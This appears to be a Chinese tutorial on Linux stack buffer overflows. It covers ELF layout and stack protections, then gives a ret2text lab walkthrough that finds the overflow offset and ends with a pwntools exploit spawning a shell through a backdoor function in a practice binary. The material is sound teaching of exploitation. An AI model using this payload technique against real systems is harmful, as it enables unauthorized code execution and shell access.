Linux下栈溢出学习 1

这篇文章主要讲解了二进制栈溢出的原理。

必备基础

  1. 至少掌握一种高级语言,含C。
  2. 熟悉x86/x64汇编。
  3. 熟悉OS的各个组件。
  4. 流畅的英文阅读能力。

ELF文件结构

alt

ELF文件头表(ELF header)
1.记录了ELF文件的组织结构
程序头表/段表(Program header table)
1.告诉系统如何创建进程
2.生成进程的可执行文件必须拥有此结构
3.重定位文件不一定需要
节头表(Section header table)
1.记录了ELF文件的节区信息
2.用于链接的目标文件必须拥有此结构
3.其它类型目标文件不一定需要

alt

ELF文件内存布局

  1. 高1GB空间是内核所使用并由所有用户态应用程序共享的。
  2. 栈自底向上增长,尺寸动态变化,默认临界大小是8M。
  3. Stack和mmap间有个随机偏移量用于防止栈溢出污染mmap。
  4. Mappings区间主要布置动态链接库。
  5. 默认进程堆自顶向下增长。
  6. 0x08048000开始的低地址映射ELF各个节区成段。

alt

关于栈的举例说明

  1. 栈是一种LIFO的数据结构。
  2. 应用程序有一到多个用户态栈。
  3. 栈自底向上增长,由指令PUSH和POP引起其动态变化。
  4. 局部变量布局在栈中。
  5. 调用函数时参数由栈传递,返回地址也存储于栈中。
  6. 函数调用上下文与局部变量共同组成了栈帧——Stack Frame.

alt

alt

栈的保护机制

CANNARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

NX(DEP)(数据执行保护 Data Execution Prevention)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

PIE(ASLR)

内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加堆(heap)的随机化

栈溢出的利用思路

  1. 先决条件:栈局部变量可控,存在溢出漏洞(strcpy、memcpy等)。
  2. 通过计算栈空间,写出shellcode,并用shellcode起始地址覆盖栈帧的返回地址(ret addr)。
  3. Payload = [Nop sled + ] Shellcode + Pad + Shellcode’s Addr

实际利用

文件链接:https://share.weiyun.com/evUKkBCv

首先讲一下栈溢出的一般思路,gdb打开程序,然后运行,输入一串字符,然后程序在某个地址发生错误。

使用checksec ret2text查看程序的保护机制,这里发现啥都没有

alt

使用cyclic 150 生成150个字符

alt

运行程序,输入字符串,发现程序在0x61616166发生错误

alt

使用cyclic -l 0x61616166计算偏移量(上述方法只适用于32位程序),得到偏移量20

alt

通过gdb调试也可以看出偏移量是20

alt

在ida中打开程序,找到main函数

alt

进入到vulnerable函数,发现有个gets函数(gets函数是很不安全的)

alt

然后搜索字符串,发现/bin/sh

alt

/bin/sh的作用简而言之就是打开一个可以执行bash命令的命令行,所以当看到这个字符串时一定要重视

alt

然后继续跟进的话,可以发现有个可以直接使用的后门函数

alt

接下来就可以开始写exp了

# 导入pwntools
from pwn import *

# 在本地运行ret2text
p = process("./ret2text")
# 远程执行的话如下
# p = remote('127.0.0.1',8982)
# 前面是ip地址,后面是端口号

# 后门函数的地址
address = 0x08048522

# payload的构成,先填充20个垃圾字符,在用后门函数的地址覆盖返回地址
payload = 0x14 * 'a'.encode() + p32(address)

# 上面是在python3下的写法,下面是python2下
# payload = 0x14 * 'a' + p32(address)

# 发送payload
p.sendline(payload)

# 在终端里将命令传送到远程服务器
p.interactive();

如果对于exp中的命令不理解,可以看看这篇文章

运行exp.py,利用成功

alt